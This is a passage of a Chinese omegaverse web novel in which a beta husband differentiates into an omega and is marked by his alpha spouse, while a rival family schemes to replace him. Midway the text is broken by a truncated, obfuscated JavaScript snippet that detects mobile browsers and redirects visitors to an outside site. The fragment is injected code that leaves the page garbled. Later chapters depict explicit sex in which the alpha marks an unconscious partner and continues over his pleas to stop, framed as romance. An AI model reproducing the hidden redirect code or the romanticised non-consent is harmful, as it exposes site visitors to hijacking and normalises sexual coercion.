鹿遥心中一紧,“他怎么了?” 夏时越忽然压低声音,他神神秘秘地问鹿遥,“那个alpha是谁?” 鹿遥迷糊了,“什么alpha。” 夏时越立刻打开了话匣子,“马颂给你打电话,结果是个alpha接起来的,是不是你老公?” 鹿遥都来不及追问夏时越是怎么知道的了,他噌地坐起来,一缕头发跟着颤颤巍巍地翘了起来。 “我…他只是刚好在旁边,不是故意要接听我的电话。”鹿遥解释道,“这只是个巧合。” 夏时越笃定道,“所以果然是你的老公。” 这个称呼没错,但鹿遥还是觉得十分不好意思,夏时越咂了下嘴细细品味,“你的伴侣是个alpha啊,现在ab恋很少见的,你们两个感情应该很好。” beta不能进行信息素结合,如果和a或o在一起的话,生理上的隔阂会是对感情极大的考验。 鹿遥没有这种困扰,因为他和傅晏淮没有感情可言,最近傅晏淮的态度刚刚回暖了一点。傅晏淮的冷淡和耐心鹿遥都不知道是为什么。 鹿遥避开了这个话题,他清清嗓子问道,“马颂说了什么吗?” 夏时越心头立刻火气上涌,“一个根本不会做甜品的人,怎么好意思过来指指点点的?这家店能做起来也和他的经营模式毫无关联,明天工资到卡里我就走!” 夏家的小少爷很看重自己的劳动所得,钱虽然是小钱,但他的努力十分可贵,必须拿到工资再走。 鹿遥便道,“我明天也再去一次店里,只在电话里提离职,或许马颂不会同意。” 马颂一定是不同意的,只不过今天是有傅晏淮在旁边,他一时噎住无法反驳。 夏时越倒很高兴,“那正好啊!明天我们一起去看看新的店。创业,最重要的就是要勇于尝试。” 赔不赔的不重要,重要的是体验。 夏家小少爷的烦恼和坚持鹿遥难以企及,他的愿望是就只是能开一家自己的甜品店。 鹿遥连期盼都很小,一点点温暖和甜蜜就足够他偷偷拿出来回味很久。 鹿遥由衷地道,“你一定可以做成功。” 夏时越笑嘻嘻地附和,“当然啊,有你在,来吃甜品的客人一定很多。你看,你来了之后,马颂的店都能这么受欢迎,这说明什么,说明你很旺人!” 还没有人说过鹿遥旺身边的人,相反的评价倒是听到过很多,他有些难为情地回道,“谢谢,我还是第一次听到这样的话。” 夏时越愣了一下,不过他没有多想,很快答道,“我去接着干活了,明天见。” 鹿遥再次躺回床上,他抬起手中的手机静静看着,然后又翻身小心地放好。 他的确有点累了,最近他时常感到疲惫,不过现在状态还好,至少身体并不难受。 或许是早上的药膏起了效果,后颈的热胀和痛痒在此刻全部消失不见,屋内空气的味道很纯粹。鹿遥身上的肌肉逐渐放松,他慢慢闭上了眼睛。 管家特意叮嘱今天的晚餐要炖汤,经过和营养师的探讨,鹿遥需要补充足够的能量帮助身体恢复。三天两头地发烧可不是什么好事,管家最近都对鹿遥格外留心。 鹿遥难得睡了很安稳的一觉,他睡得很沉,闹铃响到第二遍他才听清。 他关掉闹铃后坐在床上等了好一会才完全睁开眼睛,鹿遥边下床边纳闷地嘀咕道,“怎么会这么困。” 鹿遥决定为傅晏淮做一顿夜宵,傅晏淮不喜欢吃甜品,鹿遥就不准备了。他只会家常的做饭手艺,所以鹿遥要提前起床一点向厨师询问傅晏淮喜欢的口味。 鹿遥还是在后厨吃完了自己的那份晚餐,然后他认认真真地和厨师探讨了傅晏淮可能喜欢的夜宵种类,鹿遥专心致志地开始准备食材,他独自做第一份甜品时差不多也是这样小心。 鹿遥也不知道傅晏淮会在几点回家,但通常都不会太晚。傅晏淮的作息很规律,他一定会在十一点前睡觉,易感期除外。 傅晏淮并不知道鹿遥在做什么,他这一次进行的是几个集团间的巨型商业合作,从他手指头缝里稍稍漏下的一点点项目都足够养活十个鹿家,他对待这次合作的态度十分审慎。 傅晏淮今天的确为鹿遥推迟了两小时的会议,这对傅晏淮来说很荒唐,但由衷地讲,今天去鹿家的这一次行程其实还不错。 钱助理站在办公桌前对傅晏淮汇报道,“盛朗集团的董事长十分钟后到,他们的代表报价很诚恳。” 傅晏淮抬眼,“沈泰亲自来了?沈家的alpha儿子最近动静不小,竟然不是要给他铺路。” 钱助理淡定道,“等级压制在谈判桌上也一样好用,沈大少和您年纪相仿,手腕却远比不上他父亲,应该是怕占不到便宜。” 这句话听起来很像是低级的拍马屁,但钱助理说出口时并不谄媚,因为他只是在陈述事实。傅家底蕴深厚,傅晏淮是唯一的继承人、当之无愧的天之骄子,整个京城加起来找不出第二个能比得上他的同辈。 傅晏淮未置可否,“沈泰和我父亲也能说得上几句话,他到了就告诉我,我提前去见见。” 沈家家底也还不错,但傅家不需要迎合讨好任何人,尤其是傅晏淮接手公司后股价直线上涨。沈泰和傅际中不算太熟,傅晏淮提前去见已经很给面子了。 但傅晏淮忘记了,沈泰还有一个a级别的omega孩子,他这次来是试探傅晏淮口风的。 上流圈里心照不宣的公开秘密,傅晏淮的伴侣是一个没有出身的beta,大家都清楚这段婚姻不能长久。 盛朗集团近些年仅仅只是守成,沈泰很重视这次小儿子和傅晏淮的见面。 沈泰低声问沈谨言道,“你都准备好了?” 沈谨言浅浅一笑,“当然,父亲,我们进去吧。” 沈谨言气质温润柔和,从小做事就稳重,不像他哥哥整天毛毛躁躁的,沈泰对沈谨言很是放心。 在沈泰二人踏入公司大楼时,消息就已经传达给了傅晏淮,前台领着二人进入电梯。傅晏淮还埋头在报表里,他没仔细听,直接带着报表去了会议室等。 沈谨言并不是莽撞的人,他今天的身份是沈泰的助理。 沈泰被钱助理领入会议室时傅晏淮还坐在首位没有起身,沈泰面上有一瞬间的挂不住,但这一丝不满很快被他掩藏住。 “傅贤侄,哈哈哈哈,好久不见。” 傅晏淮站起身礼貌和他握手,“您好。” 几人落座,现在还不到会议时间,沈泰提前来了二十分钟。 沈谨言安静坐在一旁,并没有贸然插话寻找存在感。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731144|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈谨言容貌气质都算出色,但傅晏淮没有注意到沈泰身边的人。他对待感情比较淡漠,寻找beta结婚也只是因为易感期病症,他并不是会被旁人轻易吸引的人。 沈泰先随意聊了几句闲话,“傅贤侄果真是才能出众,当年老傅和我一起的时候,他就一个劲地提起你。我那不成器的犬子要是能有你的一半,那我真是死也瞑目了。” 后半句沈泰是真心的,家业迟早要交到下一辈的手中,如果不是沈长宇到现在都还让他不能放心,沈泰也做不出把沈谨言先推出来的事。 傅晏淮客气道,“您过奖。我上次在酒会见到了沈长宇,王家的长辈对他很欣赏。” 王家长辈对他欣赏,那还不是因为沈泰与人交好的缘故,沈泰嗨了声不再多提,“我妻子家中虽不涉猎医药界,不过一些风声还是能知道一二的。傅贤侄,你最近有没有听过一些小道消息啊?” 傅晏淮食指点了下桌面,“没有,您给我说说?” 沈泰就真的好像只是随口提起一般,他笑呵呵地道,“是s级alpha的易感期特效抑制针剂。” 傅晏淮挑了下眉,沈谨言适时地站起来,他敛眸走到傅晏淮身旁,伸手拿走了傅晏淮手边的杯子。 “傅总,您的茶凉了,我来帮您重新倒一杯。” 傅晏淮这才注意到沈泰身边的这个‘助理’,拿起杯子的手细嫩,傅晏淮顺着往上看过去,沈谨言温驯清俊的侧脸看着十分温柔。 沈谨言也并没有太过越界,他真的退出门去重新倒茶,傅晏淮收回目光,这次他的语气直白了很多。 “您到底想说什么。” 沈谨言出去,会议室内只有傅晏淮和沈泰两人,沈泰言辞恳切道,“a和b不能进行真正的结合,匹配度低的ao都尚且不能维持稳定关系,更何况一个什么都闻不到的beta。” 傅晏淮神色未变,他反问道,“哦?” 沈泰语速加快,“这个针剂在下个月就会全面问世,到时你的易感期病症就能全部解决。有针剂和药物,标记omega应该就是可控的了,你的那个伴侣是不是最好人选,我们心里都有数。傅贤侄,你看你,要不要…” 傅晏淮并没有直接回答沈泰的问题,他微微向前倾身,看起来真心实意地请教了一个问题,“易感期可以压制,可对omega信息素的无差别抵抗会不会消失并不可知。我的标记将会永远伴随风险,s级信息素也并不是所有omega都能承受。沈董事长,您真的舍得您的孩子和这样的alpha在一起?” 傅晏淮当然能看出来这位助理大约是沈泰想要他接受的人选,不过接不接受可不由沈泰说了算。 omega腺体的临时标记只能维持一个月,被完全标记过的omega除非清洗标记,否则余生都只能接受同一个alpha的抚慰。傅晏淮的问题并没有问错,只要是和他有标记,那么就必然会永远面临这个问题。 “我信息素的攻击性,京城所有人应该都很清楚。您不必着急,不妨再考虑考虑。” 沈泰确实有些为难,毕竟是自己的孩子,这种真的威胁人身安全的事还是犹豫的。 但沈泰很快就坚定道,“沈家的态度不会变,傅贤侄,针剂下个月一定会问世,你可以试试,说不定效果会比你想得更好。” 傅晏淮没有回答,沈谨言又在十分合适的时刻敲门走进,一杯冒着热气的茶水重新放在傅晏淮手边。沈谨言仿佛根本不知道刚刚会议室里在进行什么对话,他微微俯下身又站直,一点清浅的花香飘过。 “傅总,您的茶。” 傅晏淮勾住杯子的把手转了一下,却没有拿起来喝。 他敲了下耳机淡声道,“准备一下,会议准时开始。” 22-30 第22章 第 22 章 发情期 鹿遥额间细细出了汗, 眼泪大颗涌出眼眶,后颈仿佛有种子在拼命挣扎往外生长,他用力掐紧正在成熟的腺体, 试图缓解身体的难捱。 好难受,真的好难受… 鹿遥不知道自己到底是怎么了, 焦糖的味道已经浓郁到了他自己闻不出来的程度。他只觉得自己身体好热,哪里都不舒服。 鹿遥脸颊通红倒在地上蜷缩成一团, 他的腺体受到傅晏淮s级信息素的刺激经历了二次分化, 这对一个已经做了二十四年beta的人来说并不是一件容易接受的事情。 他紧紧闭着双眼忍受体内信息素的紊乱, 鹿遥隐隐还记得自己似乎不应该是在这里, 他拼尽全力试图抓住床脚, 但仅仅是爬着跪坐起来都让他浑身颤抖, 他喘息着抵住床脚抵抗身体的虚软无力。 鹿千星的电话没有打通,他干脆手忙脚乱上楼直接去找关清露,鹿千星猛地一把推开美容室的门时心还在剧烈跳动, 他后知后觉地对刚才的情景感到害怕。 关清露被这动静吓了一跳, 她原本都快睡着了, 关清露带着被打扰的愠怒问,“谁?” “妈!您快别做了,鹿遥现在就在楼下呢!” 关清露闭着眼睛不高兴地道, “在就在, 还得我出去迎接一下?我不是让你拖住他吗,拖不住你就直接把他关房间里,他不敢怎么样的。” 关清露说完嘀咕一句,“你这带进来的什么味儿,怎么像是谁的信息素。” 鹿千星此刻慌得手抖,他扑到床边焦急道, “不是啊,鹿遥他好像分化了!他,他看着不正常,我把他反锁在一楼的房间里了,现在怎么办啊?” 关清露惊得直接坐了起来,“鹿遥分化?怎么可能?” 傅晏淮和文筝的通话结束后就直接开车进到鹿家院子里,鹿家门口没有人看管,只有屋内有几个保姆,但她们显然都认得傅晏淮,没有人敢上前拦住。 傅晏淮也懒得多废话,他直接俯视几人问道,“鹿遥在哪?” 几人面面相觑,她们的雇主是鹿家不是傅家,傅晏淮问了她们也不敢答。 其中一人支支吾吾道,“刚刚还看到的,可能,可能是又走了。” 傅晏淮简短评价,“连说谎都做不好,就不必在这个时候急于表现自己的忠心。” 傅晏淮平等地对所有人目空一切不可一世,这下没人再靠近接话了。他转头四下随意打量一圈,一个主人家都没看到。 他已经意识到今天的这通电话是在针对鹿遥,傅晏淮心底升起不悦。 鹿家居然敢这么对他的人。 鹿千星把鹿遥关到房间后没有开空气净化,现在焦糖的味道溢出门缝,傅晏淮一闻到这个味道体内的信息素就开始不稳。 虽然他不清楚这股味道的来源,但他知道这一定和鹿遥有关,傅晏淮直接朝一楼客房走过去。 几名保姆虽然不愿意再惹到他,可也不敢真的眼睁睁看人过去,“傅总,您需要什么,我们直接给您拿就好。夫人和小少爷在楼上,一会就下来,不然您先坐这等一等?” 傅晏淮皱了皱眉,他不愿意为难无关的人,但是他真的有点烦了。 傅晏淮直接无视这些人向一楼客卧走过去,越走近那股甜香就越明显。傅晏淮在客卧门前站定,他听到了一点悉悉索索的声音,像是小动物用爪上的软垫没使什么力气地挠东西。 傅晏淮压下门把手——门被锁着,打不开。 几个保姆保姆提心吊胆看着一言不发地傅晏淮,此时关清露和鹿千星终于慌张从楼上下来。 关清露看到傅晏淮心中忍不住咯噔一下,她连外套都是匆匆套上。 她心里打鼓,还要装作无事地迎上去,“傅总来怎么不告诉我?你们都愣在那干什么,还不快去给傅总倒茶。” 鹿千星心虚跟在后面,不敢抬头看傅晏淮,也不敢出声。 于是傅晏淮给了最后一次机会,他缓慢问道,“鹿遥,是不是在里面。” 关清露还在打哈哈,“刚刚还在呢,谁知道现在跑哪去了。我们不管他,傅总您这边…” 哐当一声巨响打断了关清露的话,傅晏淮稍稍后退一步,直接一脚把门踹开。 焦糖信息素爆炸式瞬间扑到傅晏淮脸上,傅晏淮的腺体几乎是立刻作出反应,成倍浓郁的s级信息素追捕扑咬鹿遥四处弥漫的信息素。 门撞到墙又弹回来,傅晏淮眼前的景象被一点点挡住。 鹿遥应该是努力往门口这边爬过的,他的手臂向前不自然地抓着床脚,深蓝色绸缎衬衣服帖包裹出后腰细细的线条。挣动间衣摆被蹭得往上窜了一小块,露出腰间白皙细腻的肌肤。 s级信息素的爆发让所有人都僵硬在原地动不了,傅晏淮费了很大力气才勉强压制住体内的躁动。 傅晏淮抬手重新推开门,他克制地往前一步走进屋内,但焦糖的甜香还是让他忍不住生出凶戾暴虐的情绪。 可这一次,却和以往闻到omega信息素时都不一样。傅晏淮没有反应出信息素强迫抵抗,他只是很想,很想彻底标记地上这个昏迷不醒的omega。 傅晏淮一步一步走了进去,s级信息素残暴吞噬焦糖的味道,直到白冷杉的气息把鹿遥完全包裹。 外界信息素的改变让鹿遥在昏睡中也忍不住呜咽,在傅晏淮抱起鹿遥的时候,他迷迷糊糊伸手抵住抵住傅晏淮的肩膀。像是邀请,也像是抗拒。 傅晏淮抱起鹿遥转身,如果仔细看的话可以看到他颈侧和手背凸起的青筋,不过现在傅晏淮的等级压制毫不收敛,没有人敢真的一直看他。 鹿千星拼尽全力才勉强挤出几个字,“鹿遥竟然,真的分化了。” 关清露被鹿千星的声音惊醒,她硬着头皮对傅晏淮解释这一幕的混乱,“我也不知道鹿遥他是怎么跑到那间屋子里去的,傅总,您…” 傅晏淮抱住鹿遥路过这几人,他吝啬地吐出两个字,“滚开。” 傅晏淮上车后开启封闭系统防止信息素泄露,焦糖的味道源源不断从后座溢出。鹿遥的身体越来越烫,他发出难耐的呻/吟。 鹿遥现在需要一支抑制剂,或者,一个标记。 傅晏淮把油门踩到底,alpha无法控制自己不被omega吸引,这是他第一次没有产生抵抗反应,强烈的标记欲望让他无法压制自己的信息素。 现在重新回到市里太显眼了,傅晏淮不清楚这辆车的封闭效果,在自己即将失控之前,傅晏淮选择回到傅家祖宅。 沈谨言并不是自己单独贸然上门,是沈泰打着要和傅际中叙旧的名头前来,顺便带上沈谨言露露脸。 “哈哈哈哈,傅氏集团这次牵头的规模可不小啊,老傅,你这个孩子真是相当不错。” 傅际中和沈泰交情不算多,他敷衍地客气回去,“哪里,一点不成气候的小生意。” 沈泰和沈谨言在这坐了快半个小时,直到现在也没进入正题,文筝坐在一旁得体喝了口茶,她等得都有点无聊了。 “以后我们两家应该在一起常聚聚,我这些日子也是经常想起以前年轻的时候。孩子们都还没长大,唉,不提也罢,老了。” 傅际中没觉得自己老,他最近和文筝过二人世界过得挺好。 “也好,以后有机会,我们多走动。” 成年人的世界里,有机会的意思就是改天,改着改着就没这天了。 沈泰半真半假地附和道,“这可真是太好了,我一定带上我夫人和大儿子,一起一起。” 沈谨言看出文筝兴致缺缺,他笑着询问她道,“伯母是喜欢多肉吗?只是这两种多肉不好养活,如果您喜欢可爱一点的,我可以陪您到花卉市场去挑一挑。” 沈谨言的话刚刚问出口,几人就瞬间安静下来。 傅际中可不会插嘴这种话题,他默默请沈泰一起喝茶。 文筝抚了下身上的围巾,她慈爱笑道,“这可不是我养的,亏得家里有个贴心的小辈,送点小东西哄老傅高兴。我身上这围巾也是孩子送的,怎么样,好不好看?” 沈谨言真诚夸赞道,“配色很亮眼,傅总的眼光很好。” 文筝无奈摇摇头,“他哪里有这么孝顺,还能时刻惦记我们两个。这是小鹿送的,小鹿可比那臭小子乖多了。” 沈谨言的笑意凝固在嘴角,连带着沈泰也高兴不起来了,沈谨言勉强装出好奇的神情,“那是…” “当然是晏淮的伴侣。”文筝理所当然道,“这孩子人不错,我很喜欢。” 这次沈谨言彻底笑不出来了,他忍不住仔细盯着文筝试图看出她话中意思的真假,文筝是什么时候和鹿遥有过接触的? 文筝看出了沈谨言的异常,她也大概猜出来这对父子今天的来意。文筝比较好奇为什么沈谨言会忽然直接来傅家祖宅,难道是已经和傅晏淮接触过了? 沈谨言迅速调整好脸上表情,虽然不清楚心里怎么想,但他还是礼貌道,“希望有机会能和鹿先生接触。” 文筝没有接话,正门门口匆匆走进一个人,她俯下身在文筝耳边悄悄说了什么。 文筝难得露出惊讶的神情,傅际中低声问道,“怎么了?” 文筝若无其事道,“哦,没什么。说后院的池塘坏了,我去看看,你们聊。” 傅际中看了文筝一眼,他确信事情没有这么简单,他转回头对沈泰道,“没事,咱们聊咱们的。” 走出门后文筝和那女佣脚步越来越快,文筝焦灼询问,“出什么事了,鹿遥怎么会晕倒?他们现在在哪?” “傅总带人去以前他住的那一小栋别墅了,我是beta,什么都闻不到,但我随身带了检测器,上面显示信息素指数超标。” 文筝猛地停下,“是晏淮的信息素失控了?” 女佣迟疑一下道,“是ao信息素达到发情标准。” 文筝更加愕然了,“发情标准?没有产生信息素抵抗吗?” 女佣肯定道,“没有,傅总进来的时候虽然很匆忙,但状态十分稳定。” 文筝虽然不可思议,但她还是先定下心神交代,“不管怎样你去准备好营养冲剂和水,还有发情期安全用品。一定要在发情热间隙把傅晏淮叫出来,如果是鹿遥二次分化成omega,那刚刚形成的腺体还很脆弱,需要家庭医生开药稳定信息素。” 女佣严肃道,“是。” 文筝头疼地扶额,“暂时这样吧,去看看沈泰他们走了没有。” 她现在没心思应付别有心思的客人了,文筝有了更加严峻的事情要操心。 女佣按照吩咐开始忙碌,文筝叮嘱人都离这栋房子远一点。她又等了等,屋子内没有传出任何异常动静,文筝这才不太放心地离开。 傅晏淮把鹿遥抱进这栋单独的小别墅后就彻底控制不住自己的信息素,他从来不知道有一个omega会对他产生这么大的影响。 沉寂已久的腺体嗅到鲜嫩omega的信息素,傅晏淮搂紧鹿遥克制地低声叫他,“鹿遥,醒醒。” 鹿遥当然不会醒,猛烈爆发出的发情热来势汹汹,尽管还没有过标记,但鹿遥的身体已经记住了傅晏淮信息素的味道。 他迷迷糊糊地在傅晏淮怀里蹭来蹭去,单单只是闻到白冷杉的味道不能压制住体内汹涌的热意,后颈像是有蚂蚁乱爬啃咬,逼得他想落泪。 鹿遥给傅晏淮勾起来了反应,他深吸口气训斥道,“别乱动。” 鹿遥不仅听不见,他还抬手想要去抓自己刚刚成熟的腺体。傅晏淮第无数次按住鹿遥的手,但只有一只手按着鹿遥不老实。傅晏淮单手抱着鹿遥上楼,鹿遥不断地扭动双手想去抠腺体。 傅晏淮的喉结上下滚动,他控制不住自己,也不想再克制了。 在这栋小别墅通往二楼的楼梯上,傅晏淮把鹿遥从自己怀里放下来,鹿遥无力趴在傅晏淮身上,傅晏淮半搂半抱着鹿遥让他勉强能靠着自己形成站着的姿势。 然后傅晏淮彻底释放出自己的信息素,在铺天盖地极具侵略性的白冷杉气息中,傅晏淮低下头,狠狠咬向鹿遥的腺体。 犬齿刺破肌肤的那一刻,鹿遥的身体开始真正意义上地存储傅晏淮的信息素,白冷杉和焦糖的味道逐渐交融,树干的根系也同时在鹿遥的腺体扎根。 腺体刚刚成熟就迎接s级alpha的标记,信息素结合的隐秘快感盖不住尖锐的刺痛,信息素冲刷身体的强烈不适感把鹿遥从昏迷中叫醒。 “呜…好疼…” 鹿遥是哭着醒来的,发情热和标记的疼痛席卷全身,他浑身无力浑浑噩噩地睁开眼睛,除了大口喘息什么都做不了。 他不知道自己现在正在被标记,他甚至不清楚刚刚具体发生了什么,也不知道自己现在在哪里。 白冷杉的味道太浓了,信息素连结已经产生,鹿遥努力想抬头看清现在是什么情况,却被被动进入易感期的alpha误以为怀中的猎物要逃走。 鹿遥的动作引起傅晏淮的不满,他扣住鹿遥的后颈,重新更深更用力地对准腺体咬了下去。 这次鹿遥清晰感受到了临时标记诞生的过程,他控制不住地低泣出声,“好奇怪…晏淮,能不能放开我…” 信息素结合的隐秘快感传遍四肢百骸,耳边omega的哭泣求饶让傅晏淮短暂找回理智。 “你分化了。” 傅晏淮的嗓音有些沙哑,“鹿遥,你分化成了omega。” 鹿遥听不明白傅晏淮的意思,他哽咽着问,“可是,我不是beta吗。” 傅晏淮没有兴趣在这种情景下和鹿遥讨论二次分化的定义,他直接托着大腿把鹿遥抱起来,“以前是,以后不是了。” 鹿遥身体软得像一摊水,傅晏淮忍着躁动提醒他,“搂紧我。” 鹿遥的脸贴在傅晏淮的颈侧,两片滚烫的肌肤触碰,温度更加灼热。 鹿遥听话地环抱住傅晏淮的脖子,他的手臂软趴趴的使不上力气,“那我要怎么办?” 鹿遥的声音还带着哭腔,发情热使他的大脑一片混沌,信息素紊乱到处乱窜,鹿遥艰难地试图看清傅晏淮的脸。 他的眼泪一滴一滴落在傅晏淮肩上,“我是omega了,那你是不是不需要我了。” 鹿遥很难过,他知道傅晏淮不喜欢他,他们两个能结婚只是因为自己是beta,可以帮傅晏淮度过易感期。 可是自己为什么会忽然分化呢,他唯一一个留在傅晏淮身边的理由也没有了。 傅晏淮引以为傲的自制力在此刻土崩瓦解,他用尽最后一丝理智把鹿遥带回卧室,门在两人身后砰地一声关上。 这声巨响把鹿遥吓到,发情期的omega很缺乏安全感。但好在傅晏淮捏住鹿遥的下巴让他只能看着自己,白冷杉密不透风地把鹿遥完全包裹住。 鹿遥再次完全回归到傅晏淮的掌控下,信息素交融的感觉很奇妙,鹿遥隐隐约约能察觉到傅晏淮的心情变化。贴近上方这个alpha,鹿遥的心慌意乱就能得到缓解。 这是临时标记的作用,鹿遥受到本能的驱使不自觉想要讨好自己的alpha。 傅晏淮的指腹随意揉捻了两下Q弹多汁的腺体,鹿遥的身体开始不自觉地颤抖。 “我刚刚标记了你。”傅晏淮的手指微微用力,“但没有产生信息素抵抗。” 鹿遥发出破碎的泣音,傅晏淮紧绷的最后一丝理智断裂,“你是我的omega。” 鹿遥直到今天才知道原来以前傅晏淮在易感期还是留了余地的,alpha的占有欲强烈又蛮横无理,单单只是信息素的压迫就让鹿遥无条件地对他坦诚身体。 鹿遥还没来得及体验正常的信息素交流,就先进行了一场混乱的完全标记。 生殖腔和腺体被同时打上烙印的滋味让鹿遥永生难忘,他后颈的伤口痕迹才刚刚淡下去,现在又多了几道新的。 这也是傅晏淮的第一次标记,对他来说,送到嘴边的可口小点心没有理由不吃。而且,这和他想象中的一样美味。 标记成结是ao结合的最后一步,傅晏淮的信息素的确极具攻击性,但这和鹿遥听说过的抵抗症状不一样。 鹿遥用破碎的泣音求饶,“不可以了,真的…能不能停一下…” 傅晏淮关心的是另一件事,“你的体温降下来了。” 标记让傅晏淮身心愉悦,他俯下身吻了吻鹿遥的眼皮,“你的前几次发烧大概也是因为腺体发育,这次过后,应该就不会再出现以前的问题了。” 现在鹿遥无法分出心思来思考这些,他真的承受不住了,鹿遥的腿软得像棉花,但他还是颤颤巍巍试着往前爬。 原来能闻到信息素也不是一件好事,白冷杉充斥着整个房间,鹿遥所有行动都受到傅晏淮的影响,他只想能暂时离远一点。 傅晏淮扣住鹿遥的腰身把人狠狠按回来,“去哪儿?” 鹿遥又开始哭泣,“既然体温已经降下去了,为什么还要接着…” 傅晏淮冷静道,“因为发情热还没有过去。” 现在他倒是很有耐心科普了,“omega发情期要持续七天左右,你的样子不是发情热暂时停息的表现,如果现在离开我的信息素,发情热会迅速反扑。” 这是什么意思,鹿遥记得自己是一个清心寡欲的人。 傅晏淮思忖着总结,“或许是刚刚那样你受不了。” 鹿遥羞耻地哽咽着问,“那你,为什么,还要继续这样。” “因为我喜欢。”傅晏淮十分坦诚,他扣住鹿遥的手腕,“宝贝,乖一点。” 喜欢什么,这算是傅晏淮有一点点喜欢他吗? 这是傅晏淮第一次以这样诱哄的语气和他说话,鹿遥就真的没有再挣扎,他乖顺地低下头,把透着淡粉色的腺体展露在傅晏淮眼前。 在鹿遥差点晕过去之前,这场由傅晏淮占据绝对控制权的第一轮发情热终于平息。 鹿遥艰难侧躺在床上喘息,现在他还没有完全冷静下来,傅晏淮的随意触碰都会引起他激烈地回应。 凉丝丝的被子把鹿遥包裹住,房间内的白冷杉信息素浓度很高。 傅晏淮揉了揉鹿遥的唇瓣,鹿遥眼瞳湿润地转向上方的alpha。 “我去拿水和冲剂,很快就回来,你在这里等我,嗯?” 鹿遥唇色殷红,傅晏淮要离开,他的内心涌上巨大无法言喻的慌张。 “不要!我和你一起去好不好,我,你要去哪,我不渴,我…” 完全标记的影响在发情期间发挥到极致,傅晏淮也愣了一下。 于是他就连被子带人一起抱到怀里,“你需要补充水分。” 鹿遥用尽全力紧紧抱住傅晏淮,他小声嘟哝,“我真的不渴。” 房间里一瓶水都没有,傅晏淮十分坦荡地抱着鹿遥下楼。 “为什么这么害怕,想要我一直陪着你吗。” 房间外的信息素浓度陡然下降,楼梯很高,鹿遥把脸埋进傅晏淮颈间。 他没有办法对自己的alpha撒谎,鹿遥本身也不擅长欺骗。 鹿遥红着脸低声道,“想的。” 鹿遥偷偷去看傅晏淮的侧脸,如果傅晏淮此时低头,就能看到鹿遥饱含爱意又不敢明白说出口的双眼。 但傅晏淮终究是傅晏淮,他懒得低头仔细看任何人。 一楼果然送来了很多水和冲剂,文筝还叫人贴心地把窗帘都拉上了。 鹿遥没有注意到这些变化,傅晏淮此时拿出了十二万分的耐心对待鹿遥,鹿遥只顾着盯着看他,满心满眼都是傅晏淮。 傅晏淮抱着鹿遥坐在沙发上,鹿遥就这傅晏淮的手小口小口喝了大半瓶水。 傅晏淮倾斜的角度不高,他怕鹿遥呛到,喂水喂得很慢。 看鹿遥喝得差不多,傅晏淮把瓶子拿开,“还喝吗?” 鹿遥摇摇头,蜷缩在傅晏淮怀里让这个刚刚经历发情期的omega很安心,“不喝了。” 傅晏淮捏开鹿遥的嘴看了一眼,唇瓣舌尖湿软红润,看完他才松开手。 鹿遥的脸又红透了,他小小地抗议了一下,“我真的不渴了,没有骗你。” 傅晏淮似笑非笑道,“哦,原来没有骗过我啊。” 鹿遥的脸皮真的薄,傅晏淮也是真的觉得逗弄鹿遥很有趣。 鹿遥焦急地辩解,“刚刚我只是——” 傅晏淮对准鹿遥的唇瓣深深吻了下去,缠绵炽热的吻轻而易举让鹿遥再次动情。 鹿遥深切地,眷恋地久久注视着傅晏淮。发情期和标记让鹿遥变得大胆了一点,傅晏淮的温柔和耐心让鹿遥以为自己触碰到了期盼已久的幸福。 傅晏淮为鹿遥的注视而停留,他知道这个世界上有很多人都喜欢自己,他也从来不缺旁人的爱慕和敬仰。但鹿遥,傅晏淮从没见过这样的眼神。 发情热再次席卷全身,鹿遥几乎是祈求地问傅晏淮。 “我们可不可以,一直像现在这样。” 傅晏淮收紧手臂,他静默片刻后道,“好。” 鹿遥就忍不住笑了起来,他大着胆子抬起头主动凑去亲吻傅晏淮的唇角,傅晏淮没有拒绝。 这一轮意识清醒的发情热把沙发搞得很脏,傅晏淮再次把鹿遥抱上楼已经是深夜。 鹿遥昏昏沉沉地在床上睡去,这一天的经历实在太耗费体力了,而且之前的日子他也一直在反复生病,现在他真的很累。 虽然很累,但他紧贴着傅晏淮,白冷杉信息素沉默地围住他,鹿遥睡得很香。 傅晏淮的手臂搭在鹿遥的腰间,和鹿遥单纯的欢喜不同,傅晏淮思绪复杂翻涌。 鹿遥分化成了omega,还是一个,他完全不会产生抵抗的omega。 傅晏淮不知道这意味着什么,或许是受标记的影响,他无法对鹿遥说出拒绝的话。 那应该就是因为标记吧。 鹿遥和傅晏淮度过了相当混乱淫/靡的三天,直到第三天过后,傅晏淮才能稍稍和鹿遥分开一点距离。 发情期的omega就是需要alpha时刻陪伴在身边,但傅晏淮需要向文筝具体描述发生的事情。 在第四天的清晨,鹿遥还没有醒来,傅晏淮确定房间内的信息素浓度足够,他短暂离开了十分钟。 文筝已经在大门外等着了,傅晏淮只裹着浴袍,身上强烈的信息素味道让文筝忍不住后退一步。 “怎么都是你的信息素?鹿遥呢?” 傅晏淮简短叙述道,“鹿遥分化成了omega,我没有产生任何抵抗攻击反应,然后,我完全标记了他。” 尽管已经预测到这件事,真正听到后文筝还是忍不住一瞬间心焦起来,“那鹿遥现在怎么样?我怎么没有闻到他的信息素?” 傅晏淮猜测道,“可能是腺体刚刚发育成熟,也可能是等级不高,所以被我盖住了。” 文筝提醒他,“等级都是小事,既然腺体状况还不稳定,你就要小心一些。鹿遥有没有什么不舒服的地方?” 傅晏淮回忆了一下鹿遥的状态,“他看起来…” 傅晏淮的停顿很微妙,“他很好,就是比较敏感。” 文筝的眼神一言难尽,傅晏淮解释道,“他不能接受离我太远。” 文筝了然道,“哦,这没事。omega在发情期都这样,过了这个时期就好了。” 傅晏淮皱了下眉,其实他觉得现在这样也不错。 “这两天公司那边有紧急的事都是你爸在处理,没出什么岔子。关清露和鹿千星去找过你们一次,可惜家里没人,管家直接打发走了。” 傅晏淮嗯了声,“您都知道了。” 文筝面上隐隐有不屑,“关清露从前或许可怜,但鹿遥做她的孩子更可怜。如果我是她,可不会到现在还和鹿钟光纠缠在一起,吸孩子的血维持生计。” 